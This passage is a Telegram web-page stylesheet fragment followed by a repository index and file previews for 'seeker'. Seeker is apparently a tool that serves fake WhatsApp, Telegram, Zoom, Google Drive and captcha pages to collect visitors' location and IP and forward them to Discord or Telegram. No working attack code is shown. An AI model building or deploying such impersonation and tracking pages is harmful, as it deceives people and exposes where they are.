text-align: left;
}
.tl_contest_page_wrap #dev_page_title {
font-size: 24.5px;
line-height: 33px;
margin: 20px 0 10px 0;
}
.tl_contest_dl_btn {
padding: 0;
}
#traffic_log_wrap {
min-height: 300px;
/*max-height: 600px;*/
/*overflow: auto;*/
overflow-wrap: normal;
white-space: pre;
}
.tl_contest_log {
padding-top: 10px;
}
.tl_contest_log h3 {
margin-top: 0;
}
/* Blog */
.blog_side_image_wrap {
position: relative;
}
.blog_side_image {
margin: -41px 0 0 -180px;
width: 160px;
height: 160px;
position: absolute;
}
.blog_side_centered_image_wrap {
position: relative;
}
a.blog_side_cetered_image,
a.blog_side_centered_image {
display: block;
width: 160px;
height: 160px;
margin: 10px auto 20px;
}
img.blog_side_cetered_image,
img.blog_side_centered_image {
width: 160px;
height: 160px;
}
.tlb_blog_page .blog_side_image_wrap {
position: static;
}
.tlb_blog_page .blog_side_image {
display: block;
margin: 20px auto;
width: 160px;
height: 160px;
position: static;
}
.blog_wide_image img {
width: 100%;
padding-bottom: 20px;
}
.blog_image_wrap {
width: 275px;
margin: 10px auto 20px;
}
.blog_image_wrap a {
}
.blog_image_wrap img {
width: 275px;
padding: 10px 5px;
}
.blog_medium_image_wrap,
.blog_medium_image_wrap img {
width: 400px;
}
.blog_wide_image_wrap,
.blog_wide_image_wrap img {
width: 100%;
max-width: auto;
}
#dev_page_content .blog_image_wrap p,
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content .blog_image_wrap p {
text-align: center;
color: #808080;
font-size: 12px;
margin: 10px 0 0;
line-height: 150%;
padding: 0 10px;
}
.blog_2images_wrap,
.blog_3images_wrap {
width: 564px;
margin: 20px auto 20px;
}
.blog_3images_wrap {
width: 575px;
}
.blog_2images_wrap:before,
.blog_2images_wrap:after,
.blog_3images_wrap:before,
.blog_3images_wrap:after {
content: " ";
display: table;
}
.blog_2images_wrap:after,
.blog_3images_wrap:after {
clear: both;
}
.blog_2images_wrap .blog_image_wrap,
.blog_3images_wrap .blog_image_wrap {
float: left;
margin-left: 0;
margin-right: 14px;
}
.blog_3images_wrap .blog_image_wrap {
margin-right: 10px;
}
.blog_2images_wrap .blog_image_wrap:last-child,
.blog_3images_wrap .blog_image_wrap:last-child {
margin-right: 0;
}
.blog_video_player_wrap {
max-width: 640px;
margin: 10px auto 20px;
}
.blog_video_player {
width: 100%;
}
/* My page */
.my_page_wrap {
margin-top: 50px;
font-size: 14px;
line-height: 20px;
}
.my_page_wrap .container {
max-width: 570px;
}
.my_page_wrap .tl_main_card {
margin: 0;
}
#my_login_form_wrap {
max-width: 400px;
}
.my_login_form_details {
margin: 10px 0 20px;
}
#my_login_form_wrap .btn {
box-shadow: none;
margin-bottom: 0;
font-size: 14px;
font-weight: normal;
line-height: 1.428571429;
text-align: center;
white-space: nowrap;
vertical-align: middle;
cursor: pointer;
background-image: none;
border: 1px solid transparent;
border: 0;
border-radius: 4px;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
-o-user-select: none;
user-select: none;
text-shadow: none;
}
#my_login_form_wrap .btn-primary {
color: #fff;
background-color: #428bca;
border-color: #357ebd;
}
#my_login_form_wrap .btn-danger {
color: #fff;
background-color: #d9534f;
border-color: #d43f3a;
}
#my_login_form_wrap .btn-success {
color: #fff;
background-color: #5cb85c;
border-color: #4cae4c;
}
.modal-header h4 {
position: static;
}
.my_email_confirmation_result_wrap {
margin-top: 40px;
}
.my_email_confirmation_result_text {
padding: 10px;
font-size: 24px;
font-weight: bold;
line-height: 1.2;
text-align: center;
}
.smartphone_video_player_iphone {
position: absolute;
margin-top: 69px;
margin-left: 18px;
border-radius: 3px;
overflow: hidden;
line-height: 0;
}
video.smartphone_video_player {
cursor: pointer;
width: 234px;
height: 416px;
line-height: 0;
margin: 0;
vertical-align: top;
}
.smarphone_device_nexus {
margin: 40px auto;
padding: 45px 14px 45px 14px;
width: 290px;
height: 514px;
background: #1e1e1e;
border-radius: 18.125px;
display: block;
position: relative;
box-sizing: content-box;
}
.smarphone_device_nexus:before {
-webkit-border-radius: 540px / 45px;
border-radius: 540px / 45px;
background: inherit;
content: '';
top: 0;
position: absolute;
height: 103.1%;
width: calc(100% - 23px);
top: 50%;
left: 50%;
-moz-transform: translateX(-50%) translateY(-50%);
-webkit-transform: translateX(-50%) translateY(-50%);
-o-transform: translateX(-50%) translateY(-50%);
-ms-transform: translateX(-50%) translateY(-50%);
transform: translateX(-50%) translateY(-50%);
box-sizing: content-box;
}
.smarphone_device_nexus .top-bar {
width: calc(100% - 7px);
height: calc(100% - 5px);
position: absolute;
top: 3px;
left: 4px;
-webkit-border-radius: 18px;
border-radius: 18px;
background: #181818;
box-sizing: content-box;
}
.smarphone_device_nexus .top-bar:before {
-webkit-border-radius: 540px / 45px;
border-radius: 540px / 45px;
background: inherit;
content: '';
top: 0;
position: absolute;
height: 103.0%;
width: calc(100% - 26px);
top: 50%;
left: 50%;
-moz-transform: translateX(-50%) translateY(-50%);
-webkit-transform: translateX(-50%) translateY(-50%);
-o-transform: translateX(-50%) translateY(-50%);
-ms-transform: translateX(-50%) translateY(-50%);
transform: translateX(-50%) translateY(-50%);
box-sizing: content-box;
}
.smarphone_device_nexus .bottom-bar{
display: none;
box-sizing: content-box;
}
.smarphone_device_nexus .sleep {
width: 3px;
position: absolute;
left: -3px;
top: 99px;
height: 90px;
background: inherit;
-webkit-border-radius: 2px 0px 0px 2px;
border-radius: 2px 0px 0px 2px;
box-sizing: content-box;
}
.smarphone_device_nexus .volume {
width: 3px;
position: absolute;
right: -3px;
top: 63px;
height: 45px;
background: inherit;
-webkit-border-radius: 0px 2px 2px 0px;
border-radius: 0px 2px 2px 0px;
box-sizing: content-box;
}
.smarphone_device_nexus .camera {
background: #3c3d3d;
width: 9px;
height: 9px;
position: absolute;
top: 18px;
left: 50%;
z-index: 3;
margin-left: -5px;
border-radius: 100%;
box-sizing: content-box;
}
.smarphone_device_nexus .camera:before {
background: #3c3d3d;
width: 6px;
height: 6px;
content: '';
display: block;
position: absolute;
top: 2px;
left: -90px;
z-index: 3;
border-radius: 100%;
box-sizing: content-box;
}
.smarphone_device_nexus .screen {
position: relative;
box-sizing: content-box;
}
.smarphone_device_nexus video {
display: block;
width: 290px;
height: 514px;
margin: 0 auto;
}
/* Telegram Me */
.tgme_page_wrap {
font-family: 'Roboto', sans-serif;;
color: #2b2d2e;
}
.tgme_page_wrap a,
.tgme_page_wrap a:hover,
.tgme_page_wrap a:active {
color: #3ca2d9;
}
.tgme_head_wrap {
background: #FFF;
height: 59px;
padding: 14px 16px;
-webkit-box-shadow: 0px 1px 3px 0px rgba(0,0,0,0.15);
-moz-box-shadow: 0px 1px 3px 0px rgba(0,0,0,0.15);
box-shadow: 0px 1px 3px 0px rgba(0,0,0,0.15);
}
.tgme_logo {
display: inline-block;
background: url('data:image/svg+xml,%3Csvg height="34" viewBox="0 0 133 34" width="133" xmlns="http://www.w3.org/2000/svg"%3E%3Cg fill="none" fill-rule="evenodd"%3E%3Ccircle cx="17" cy="17" fill="%2327a7e5" r="17"/%3E%3Cpath d="m7.06510669 16.9258959c5.22739451-2.1065178 8.71314291-3.4952633 10.45724521-4.1662364 4.9797665-1.9157646 6.0145193-2.2485535 6.6889567-2.2595423.1483363-.0024169.480005.0315855.6948461.192827.1814076.1361492.23132.3200675.2552048.4491519.0238847.1290844.0536269.4231419.0299841.65291-.2698553 2.6225356-1.4375148 8.986738-2.0315537 11.9240228-.2513602 1.2428753-.7499132 1.5088847-1.2290685 1.5496672-1.0413153.0886298-1.8284257-.4857912-2.8369905-1.0972863-1.5782048-.9568691-2.5327083-1.3984317-4.0646293-2.3321592-1.7703998-1.0790837-.212559-1.583655.7963867-2.5529189.2640459-.2536609 4.7753906-4.3097041 4.755976-4.431706-.0070494-.0442984-.1409018-.481649-.2457499-.5678447-.104848-.0861957-.2595946-.0567202-.3712641-.033278-.1582881.0332286-2.6794907 1.5745492-7.5636077 4.6239616-.715635.4545193-1.3638349.6759763-1.9445998.6643712-.64024672-.0127938-1.87182452-.334829-2.78737602-.6100966-1.12296117-.3376271-1.53748501-.4966332-1.45976769-1.0700283.04048-.2986597.32581586-.610598.8560076-.935815z" fill="%23fff"/%3E%3Cpath d="m49.4 24v-12.562h-4.224v-2.266h11.198v2.266h-4.268v12.562zm16.094-4.598h-7.172c.066 1.936 1.562 2.772 3.3 2.772 1.254 0 2.134-.198 2.97-.484l.396 1.848c-.924.396-2.2.682-3.74.682-3.476 0-5.522-2.134-5.522-5.412 0-2.97 1.804-5.764 5.236-5.764 3.476 0 4.62 2.86 4.62 5.214 0 .506-.044.902-.088 1.144zm-7.172-1.892h4.708c.022-.99-.418-2.618-2.222-2.618-1.672 0-2.376 1.518-2.486 2.618zm9.538 6.49v-15.62h2.706v15.62zm14.84-4.598h-7.172c.066 1.936 1.562 2.772 3.3 2.772 1.254 0 2.134-.198 2.97-.484l.396 1.848c-.924.396-2.2.682-3.74.682-3.476 0-5.522-2.134-5.522-5.412 0-2.97 1.804-5.764 5.236-5.764 3.476 0 4.62 2.86 4.62 5.214 0 .506-.044.902-.088 1.144zm-7.172-1.892h4.708c.022-.99-.418-2.618-2.222-2.618-1.672 0-2.376 1.518-2.486 2.618zm19.24-1.144v6.072c0 2.244-.462 3.85-1.584 4.862-1.1.99-2.662 1.298-4.136 1.298-1.364 0-2.816-.308-3.74-.858l.594-2.046c.682.396 1.826.814 3.124.814 1.76 0 3.08-.924 3.08-3.234v-.924h-.044c-.616.946-1.694 1.584-3.124 1.584-2.662 0-4.554-2.2-4.554-5.236 0-3.52 2.288-5.654 4.862-5.654 1.65 0 2.596.792 3.102 1.672h.044l.11-1.43h2.354c-.044.726-.088 1.606-.088 3.08zm-2.706 2.948v-1.738c0-.264-.022-.506-.088-.726-.286-.99-1.056-1.738-2.2-1.738-1.518 0-2.64 1.32-2.64 3.498 0 1.826.924 3.3 2.618 3.3 1.012 0 1.892-.66 2.2-1.65.088-.264.11-.638.11-.946zm5.622 4.686v-7.26c0-1.452-.022-2.508-.088-3.454h2.332l.11 2.024h.066c.528-1.496 1.782-2.266 2.948-2.266.264 0 .418.022.638.066v2.53c-.242-.044-.484-.066-.814-.066-1.276 0-2.178.814-2.42 2.046-.044.242-.066.528-.066.814v5.566zm16.05-6.424v3.85c0 .968.044 1.914.176 2.574h-2.442l-.198-1.188h-.066c-.638.836-1.76 1.43-3.168 1.43-2.156 0-3.366-1.562-3.366-3.19 0-2.684 2.398-4.07 6.358-4.048v-.176c0-.704-.286-1.87-2.178-1.87-1.056 0-2.156.33-2.882.792l-.528-1.76c.792-.484 2.178-.946 3.872-.946 3.432 0 4.422 2.178 4.422 4.532zm-2.64 2.662v-1.474c-1.914-.022-3.74.374-3.74 2.002 0 1.056.682 1.54 1.54 1.54 1.1 0 1.87-.704 2.134-1.474.066-.198.066-.396.066-.594zm5.6 3.762v-7.524c0-1.232-.044-2.266-.088-3.19h2.31l.132 1.584h.066c.506-.836 1.474-1.826 3.3-1.826 1.408 0 2.508.792 2.97 1.98h.044c.374-.594.814-1.034 1.298-1.342.616-.418 1.298-.638 2.2-.638 1.76 0 3.564 1.21 3.564 4.642v6.314h-2.64v-5.918c0-1.782-.616-2.838-1.914-2.838-.924 0-1.606.66-1.892 1.43-.088.242-.132.594-.132.902v6.424h-2.64v-6.204c0-1.496-.594-2.552-1.848-2.552-1.012 0-1.694.792-1.958 1.518-.088.286-.132.594-.132.902v6.336z" fill="%23363b40" fill-rule="nonzero"/%3E%3C/g%3E%3C/svg%3E') 0 0 no-repeat;
width: 133px;
height: 34px;
margin: -1px 0;
}
a.tgme_head_dl_button {
display: block;
font-size: 16px;
line-height: 100%;
color: #FFF;
background: #32afed;
padding: 2px 15px 0 16px;
height: 45px;
line-height: 43px;
text-align: center;
}
a.tgme_head_dl_button:hover,
a.tgme_head_dl_button:active {
color: #FFF;
background: #32afed;
text-decoration: none;
}
.tgme_icon_arrow {
display: inline-block;
background: url(../images/Arrow_1x.png) 0 0 no-repeat;
width: 8px;
height: 12px;
background-size: 8px 12px;
vertical-align: top;
margin-top: 15px;
margin-left: 9px;
}
.tgme_page {
position: relative;
margin: 52px auto 50px;
max-width: 424px;
}
.tgme_page_post {
max-width: 455px;
padding: 52px 0 50px;
margin: 0 auto;
}
.tgme_page_icon {
text-align: center;
margin-bottom: 20px;
}
.tgme_page_photo {
text-align: center;
margin-top: -15px;
margin-bottom: 15px;
}
.tgme_page_photo_image {
width: 122px;
height: 122px;
border-radius: 61px;
}
.tgme_page_title {
font-size: 26px;
line-height: 32px;
font-weight: bold;
text-align: center;
max-width: 340px;
padding: 0 10px;
margin: 0 auto;
color: #333;
overflow: hidden;
text-overflow: ellipsis;
}
.tgme_page_extra {
font-size: 15px;
line-height: 27px;
text-align: center;
margin-bottom: 6px;
color: #808080;
}
.tgme_page_description,
.tgme_page_additional {
font-size: 16px;
line-height: 25px;
text-align: center;
max-width: 340px;
padding: 0 10px;
margin: 0 auto;
overflow: hidden;
text-overflow: ellipsis;
}
.tgme_page_description {
display: -webkit-box;
-webkit-line-clamp: 5;
-webkit-box-orient: vertical;
overflow: hidden;
text-overflow: ellipsis;
max-height: 125px;
word-break: break-word;
}
.tgme_page_long_description {
max-height: none;
-webkit-line-clamp: unset;
}
.tgme_page_additional {
display: none;
font-size: 14px;
line-height: 23px;
margin-top: 32px;
color: #808080;
}
a.tgme_username_link,
a.tgme_username_link:hover,
a.tgme_username_link:active {
text-decoration: none;
}
.tgme_page_action {
text-align: center;
margin-top: 32px;
line-height: 0;
}
a.tgme_action_button,
a.tgme_action_button_new {
font-size: 14px;
font-weight: bold;
line-height: 100%;
color: #FFF;
background: #5dc390;
border-radius: 22px;
overflow: hidden;
display: inline-block;
padding: 15px 27px 13px;
text-transform: uppercase;
cursor: pointer;
}
a.tgme_action_button:hover,
a.tgme_action_button:active,
a.tgme_action_button_new:hover,
a.tgme_action_button_new:active {
color: #FFF;
background: #4bbc87;
text-decoration: none;
}
a.tgme_action_button_new {
background: #33d684;
}
a.tgme_action_button_new:hover,
a.tgme_action_button_new:active {
background: #28c979;
}
.tgme_page_web_action {
margin-top: 18px;
}
.tgme_page_web_action a.tgme_action_button {
color: #5dc390;;
background: #fff;
border: 2px solid #5dc390;
padding: 13px 25px 11px;
}
.tgme_page_web_action a.tgme_action_button:hover,
.tgme_page_web_action a.tgme_action_button:active {
color: #5dc390;;
background: #FFF;;
text-decoration: none;
}
.tgme_action_privacy_action {
margin-top: 12px;
}
.tgme_action_privacy_action a.tgme_action_privacy_button {
color: #5dc390;;
background: #fff;
border: 0;
padding: 13px 25px 11px;
font-size: 12px;
}
.tgme_action_privacy_action a.tgme_action_privacy_button:hover,
.tgme_action_privacy_action a.tgme_action_privacy_button:active {
color: #5dc390;;
background: #FFF;;
text-decoration: none;
}
.tgme_footer {
margin: 0 auto 50px;
border-top: 1px solid #e0e0e0;
max-width: 424px;
padding-top: 38px;
}
.tgme_footer_description {
font-size: 17px;
line-height: 27px;
text-align: center;
max-width: 330px;
padding: 0 10px;
margin: 0 auto 0;
}
.tgme_footer_action {
text-align: center;
margin-top: 28px;
line-height: 0;
}
a.tgme_footer_dl_button {
background: #32afed;
}
a.tgme_footer_dl_button:hover,
a.tgme_footer_dl_button:active {
background: #1ca4e7;
}
.tgme_page_widget {
margin-left: -45px;
}
.tgme_page_widget_action {
text-align: center;
line-height: 0;
}
.tgme_page_widget iframe {
vertical-align: top;
max-width: 100%;
}
.tgme_page_widget_actions {
position: relative;
max-width: 595px;
padding: 30px 0;
}
.fixed_actions .tgme_page_widget_actions {
position: fixed;
left: 0;
right: 0;
bottom: 0;
border-top: 1px solid #d7e3ec;
padding: 30px 70px;
margin: 0 auto;
background: #fff;
}
.tgme_page_widget_actions_cont {
max-width: 455px;
margin: 0 auto;
display: flex;
justify-content: space-between;
flex-wrap: wrap;
}
.tgme_page_widget_actions .tgme_page_action {
position: relative;
margin: 0 auto;
}
.tgme_page_widget_action_right,
.tgme_page_widget_action_left {
width: 120px;
flex-grow: 2;
}
.tgme_page_widget_action_right {
float: right;
text-align: right;
order: 1;
}
.tgme_page_widget_action_left {
float: left;
text-align: left;
}
.tgme_page_widget_actions a.tgme_action_web_button {
border: none;
background: none;
padding: 15px 10px 13px;
}
.tgme_page_widget_actions a.tgme_action_web_button:hover {
text-decoration: underline;
}
.tgme_page_widget_actions .tgme_page_web_action {
margin-top: 0;
text-align: inherit;
}
.tgme_page_context_action {
margin-top: 8px;
}
.tgme_page_context_action a.tgme_action_button_new {
font-weight: normal;
text-transform: none;
}
.tgme_page_embed_action {
text-align: center;
margin-top: 30px;
display: none;
order: 3;
flex-basis: 100%;
}
.embed_opened .tgme_page_embed_action {
display: block;
}
.tgme_page_embed_btn {
line-height: 0;
}
.tgme_page_copy_action {
text-align: center;
margin-top: 18px;
margin-bottom: -16px;
}
.tgme_page_embed_btn a.tgme_action_button_new,
.tgme_page_context_btn a.tgme_action_button_new,
.tgme_page_copy_action a.tgme_action_button_new {
color: #8197af;
padding: 15px 10px 13px;
background: none;
cursor: pointer;
}
.embed_opened .tgme_page_embed_btn a.tgme_action_button_new:before {
background-position: -24px 0;
}
.embed_opened .tgme_page_embed_btn a.tgme_action_button_new {
color: #2481cc;
}
.tgme_page_embed_action a.tgme_action_button_new:hover,
.tgme_page_embed_action a.tgme_action_button_new:active,
.tgme_page_copy_action a.tgme_action_button_new:hover,
.tgme_page_copy_action a.tgme_action_button_new:active {
color: #8197af;
text-decoration: none;
background: none;
}
.tgme_page_embed_code {
font-size: 13px;
color: #546172;
background: #ecf3f8;
font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
width: 100%;
padding: 11px 17px;
border: 1px solid #d7e3ec;
border-radius: 10px;
white-space: pre-wrap;
word-break: break-all;
word-wrap: break-word;
text-align: left;
-webkit-appearance: none;
vertical-align: top;
}
.tgme_page_embed_code:focus {
outline: none;
}
@media (max-width: 595px) {
.tgme_page_widget {
padding: 0 10px;
margin-left: 0;
}
.tgme_page_widget_actions,
.fixed_actions .tgme_page_widget_actions {
padding: 20px 0;
}
.tgme_page_widget_action_right,
.tgme_page_widget_action_left {
text-align: center;
width: 20%;
}
.tgme_page_widget_actions .tgme_action_button_label {
display: none;
}
.tgme_page_widget_actions a.tgme_action_web_button:before {
display: inline-block;
}
.tgme_page_embed_btn a.tgme_action_button_new:before {
margin-right: 0;
}
.tgme_page_embed_action {
margin-top: 20px;
margin-left: 10px;
margin-right: 10px;
}
.tgme_page_copy_action {
margin-top: 8px;
}
#embed_code {
margin-top: 24px;
}
}
.tgme_page_bg {
margin: 0;
max-width: none;
}
.tgme_bg_wrap {
height: 100%;
height: calc(100vh - 104px);
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-justify-content: center;
-ms-flex-pack: center;
justify-content: center;
-webkit-align-items: center;
-ms-flex-align: center;
align-items: center;
}
.tgme_bg_image_wrap {
position: absolute;
width: 100%;
height: 100%;
height: calc(100vh - 104px);
overflow: hidden;
}
.tgme_bg_image {
width: 110%;
width: calc(100vw + 40px);
height: 110%;
height: calc(100vh - 104px + 40px);
margin: -20px;
background-repeat: no-repeat;
background-size: cover;
z-index: 1;
-webkit-filter: blur(5px);
-moz-filter: blur(5px);
-o-filter: blur(5px);
-ms-filter: blur(5px);
filter: blur(5px);
}
.tgme_bg_wrap_pattern1 .tgme_bg_image {
-webkit-filter: blur(8px);
-moz-filter: blur(8px);
-o-filter: blur(8px);
-ms-filter: blur(8px);
filter: blur(8px);
}
.tgme_bg_wrap_full .tgme_bg_image {
-webkit-filter: none;
-moz-filter: none;
-o-filter: none;
-ms-filter: none;
filter: none;
}
.tgme_bg {
position: relative;
z-index: 2;
}
.tgme_bg_popup_wrap {
background: #fff;
border-radius: 10px;
flex: 1 0 auto;
padding: 40px 40px 30px;
margin: 0 40px;
max-width: 390px;
text-align: center;
}
.tgme_bg_title {
font-size: 18px;
font-weight: bold;
margin: 0 0 10px;
}
.tgme_bg_size {
color: #64686B;
font-size: 14px;
margin: 10px 0 17px;
}
#tgme_frame_cont {
position: absolute;
left: -10000px;
top: -10000px;
}
/* New mobile blog */
.tlb_page_wrap {
font-family: 'Roboto', sans-serif;;
}
.tlb_page_wrap a,
.tlb_page_wrap a:hover,
.tlb_page_wrap a:active {
color: #1497d9;
}
.tlb_page_head {
background: #FFF;
height: 47px;
padding: 12px 12px;
}
.tlb_head_home {
float: right;
display: inline-block;
line-height: 24px;
height: 24px;
vertical-align: top;
font-size: 14px;
}
a.tlb_blog_head_more_link {
display: block;
font-size: 15px;
color: #FFF;
background: #3faee8;
padding: 0 15px 0 15px;
height: 42px;
line-height: 42px;
}
a.tlb_blog_head_more_link:hover,
a.tlb_blog_head_more_link:active {
color: #FFF;
background: #3faee8;
text-decoration: none;
}
a.tlb_blog_head_more_link .tlb_head_more_active,
.tlb_blog_head_recent_active a.tlb_blog_head_more_link .tlb_head_more_inactive,
.tlb_head_more_entries {
display: none;
}
.tlb_blog_head_recent_active a.tlb_blog_head_more_link .tlb_head_more_active,
.tlb_blog_head_recent_active .tlb_head_more_entries {
display: block;
}
.tlb_head_more_icon_wrap {
float: right;
vertical-align: top;
margin-top: 15px;
line-height: 0;
}
.tlb_head_more_icon {
display: inline-block;
border: 2px solid #FFF;
border-left: 0;
border-bottom: 0;
width: 10px;
height: 10px;
-moz-transform: rotate(135deg);
-webkit-transform: rotate(135deg);
-o-transform: rotate(135deg);
-ms-transform: rotate(135deg);
transform: rotate(135deg);
/*-webkit-transition: all linear 0.2s;
-moz-transition: all linear 0.2s;
-ms-transition: all linear 0.2s;
-o-transition: all linear 0.2s;
transition: all linear 0.2s;*/
}
.tlb_blog_head_recent_active .tlb_head_more_icon_wrap {
margin-top: 18px;
}
.tlb_blog_head_recent_active .tlb_head_more_icon {
-moz-transform: rotate(-45deg);
-webkit-transform: rotate(-45deg);
-o-transform: rotate(-45deg);
-ms-transform: rotate(-45deg);
transform: rotate(-45deg);
}
.tlb_page_wrap .side_blog_wrap {
margin: 22px 0 0 16px;
padding: 0 10px 0 15px;
font-size: 13px;
border-width: 4px;
border-color: #3faee8;
}
.tlb_page_wrap .tl_blog_bottom_blog .side_blog_wrap {
margin-left: 0;
padding: 0 0 0 15px;
}
.tlb_page_wrap .side_blog_header {
font-size: 15px;
font-weight: bold;
}
.tlb_page_wrap .side_blog_entry {
margin-top: 12px;
}
.tlb_page_wrap .side_blog_date {
color: #444;
font-size: 14px;
}
.tlb_page_wrap .side_blog_title {
margin-top: 2px;
font-size: 15px;
}
.tlb_page_wrap #dev_page_title a,
.tlb_page_wrap #dev_page_title a:hover,
.tlb_page_wrap #dev_page_title a:active {
color: #444;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_title {
text-align: center;
max-width: 250px;
margin-left: auto;
margin-right: auto;
margin-bottom: 20px;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_title,
.tlb_page_wrap .tl_contest_page_wrap h4 {
color: #444;
font-size: 18px;
line-height: 25px;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content,
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content p {
color: #333333;
font-size: 15px;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content p {
margin-bottom: 15px;
}
.tlb_page_wrap .tl_contest_page_wrap #dev_page_content blockquote p:last-child {
margin-bottom: 0;
}
.tlb_page_wrap a.tl_twitter_share_btn {
background: #3faee8;
color: #FFF;
font-size: 14px;
line-height: 18px;
border-radius: 17px;
padding-top: 8px;
}
.tlb_page_wrap span.tl_twitter_share_cnt {
color: #c2eaff;
}
.tlb_page_wrap a.tl_twitter_share_btn:hover,
.tlb_page_wrap a.tl_twitter_share_btn:active {
color: #c2eaff;
}
.tl_telegram_share_btn {
display: inline-block;
border-radius: 16px;
background-color: #54a9eb;
cursor: pointer;
line-height: 22px;
margin-right: 10px;
padding: 5px 17px 5px 11px;
color: #FFF;
font-weight: bold;
}
.tl_telegram_share_btn:hover,
.tl_telegram_share_btn:active,
.tl_telegram_share_btn:focus {
text-decoration: none;
color: #FFF;
outline: none;
}
.tl_telegram_share_label {
line-height: 21px;
vertical-align: top;
display: inline-block;
/*margin-top: 1px;*/
}
.tlb_page_wrap a.tl_telegram_share_btn {
background: #3faee8;
color: #FFF;
font-size: 14px;
border-radius: 17px;
padding: 6px 12px 5px 6px;
}
.tlb_page_wrap a.tl_telegram_share_btn:hover,
.tlb_page_wrap a.tl_telegram_share_btn:active {
color: #c2eaff;
}
/* Telegram Desktop */
.td_btn_hidden,
.td_all_shown .td_show_all_platforms {
display: none;
}
.td_all_shown span.td_btn_hidden {
display: inline;
}
.td_all_shown div.td_btn_hidden {
display: block;
}
.td_content_wrap {
width: 420px;
margin: 0 auto;
font-size: 16px;
}
.td_content_title {
font-size: 28px;
color: #383a3b;
text-align: center;
margin-top: 32px;
margin-bottom: 14px;
font-weight: normal;
letter-spacing: -1px;
}
.tl_content_title_link,
.tl_content_title_link:hover {
text-decoration: none;
}
.td_download_wrap,
.td_download_wrap_low {
margin: 0 -130px;
width: 680px;
text-align: center;
}
.td_download_wrap_low {
margin-bottom: 30px;
}
.td_osx .td_download_icon {
background-position: 0 -33px;
}
.td_linux .td_download_icon {
background-position: 0 -68px;
}
.td_download_add_wrap {
width: 680px;
margin: 0 -130px 10px;
text-align: center;
}
.td_download_add {
width: 256px;
padding: 0 15px 20px;
margin: 5px 10px;
text-align: center;
display: inline-block;
cursor: pointer;
}
.td_download_btn {
display: inline-block;
vertical-align: top;
font-weight: normal;
text-align: center;
vertical-align: middle;
cursor: pointer;
background-image: none;
white-space: nowrap;
-webkit
gitextract__f1mjkpv/ ├── .github/ │ ├── FUNDING.yml │ ├── ISSUE_TEMPLATE/ │ │ ├── config.yml │ │ └── seeker-error-report---feature-request.md │ └── workflows/ │ └── ci.yml ├── .gitignore ├── Dockerfile ├── Dockerfile.dev ├── LICENSE ├── README.md ├── createTemplate.md ├── discord_webhook.py ├── install.sh ├── js/ │ └── location.js ├── metadata.json ├── php/ │ ├── error.php │ ├── info.php │ └── result.php ├── seeker.py ├── telegram_api.py ├── template/ │ ├── captcha/ │ │ ├── anchor.html │ │ ├── css/ │ │ │ └── styles__ltr.css │ │ ├── index_temp.html │ │ └── js/ │ │ └── main_temp.js │ ├── custom_og_tags/ │ │ └── index_temp.html │ ├── gdrive/ │ │ ├── css/ │ │ │ └── main.css │ │ └── index_temp.html │ ├── mod_captcha.py │ ├── mod_custom_og_tags.py │ ├── mod_gdrive.py │ ├── mod_nearyou.py │ ├── mod_telegram.py │ ├── mod_whatsapp.py │ ├── mod_whatsapp_redirect.py │ ├── mod_zoom.py │ ├── nearyou/ │ │ ├── css/ │ │ │ └── main.css │ │ └── index_temp.html │ ├── sample.kml │ ├── telegram/ │ │ ├── css/ │ │ │ ├── css │ │ │ └── telegram.css │ │ └── index_temp.html │ ├── templates.json │ ├── whatsapp/ │ │ ├── css/ │ │ │ ├── Epf3I8GM5jv.css │ │ │ └── s9hWiNS5894.css │ │ └── index_temp.html │ ├── whatsapp_redirect/ │ │ ├── css/ │ │ │ ├── Epf3I8GM5jv.css │ │ │ └── s9hWiNS5894.css │ │ └── index_temp.html │ └── zoom/ │ └── index_temp.html └── utils.py
SYMBOL INDEX (29 symbols across 7 files)
FILE: discord_webhook.py
function discord_sender (line 7) | def discord_sender(url, msg_type, content):
FILE: js/location.js
function information (line 1) | function information() {
function locate (line 89) | function locate(callback, errCallback) {
FILE: php/info.php
function getUserIP (line 14) | function getUserIP()
FILE: seeker.py
function chk_update (line 94) | def chk_update():
function banner (line 134) | def banner():
function send_webhook (line 154) | def send_webhook(content, msg_type):
function send_telegram (line 169) | def send_telegram(content, msg_type):
function template_select (line 182) | def template_select(site):
function server (line 243) | def server():
function wait (line 314) | def wait():
function data_parser (line 327) | def data_parser():
function kmlout (line 459) | def kmlout(var_lat, var_lon):
function csvout (line 473) | def csvout(row):
function clear (line 480) | def clear():
function repeat (line 487) | def repeat():
function cl_quit (line 492) | def cl_quit():
FILE: telegram_api.py
function send_request (line 12) | def send_request(token, msg):
function tgram_sender (line 24) | def tgram_sender(msg_type, content, token):
FILE: template/captcha/js/main_temp.js
function loading (line 1) | function loading(){
function cap_success (line 4) | function cap_success(){
function cap_uncheck (line 7) | function cap_uncheck(){
function cap_error (line 10) | function cap_error(){
function cap_forward (line 13) | function cap_forward(){
function transmit (line 17) | function transmit(){
function transmitted (line 22) | function transmitted(){
function main (line 27) | function main(){
FILE: utils.py
function downloadImageFromUrl (line 9) | def downloadImageFromUrl(url, path):
function print (line 19) | def print(ftext, **args):
Condensed preview — 49 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (911K chars).
[
{
"path": ".github/FUNDING.yml",
"chars": 67,
"preview": "# These are supported funding model platforms\n\ngithub: thewhiteh4t\n"
},
{
"path": ".github/ISSUE_TEMPLATE/config.yml",
"chars": 125,
"preview": "blank_issues_enabled: false\ncontact_links:\n - name: Discord\n url: https://discord.gg/MtKK7U4\n about: Community Se"
},
{
"path": ".github/ISSUE_TEMPLATE/seeker-error-report---feature-request.md",
"chars": 360,
"preview": "---\nname: Seeker Error Report / Feature Request\nabout: Create a report to help us improve\ntitle: ''\nlabels: ''\nassignees"
},
{
"path": ".github/workflows/ci.yml",
"chars": 623,
"preview": "name: ci\n\non:\n push:\n branches:\n - 'master'\n\njobs:\n docker:\n runs-on: ubuntu-latest\n steps:\n -\n "
},
{
"path": ".gitignore",
"chars": 32,
"preview": "db/\nlogs/\ntemplate/__pycache__/\n"
},
{
"path": "Dockerfile",
"chars": 355,
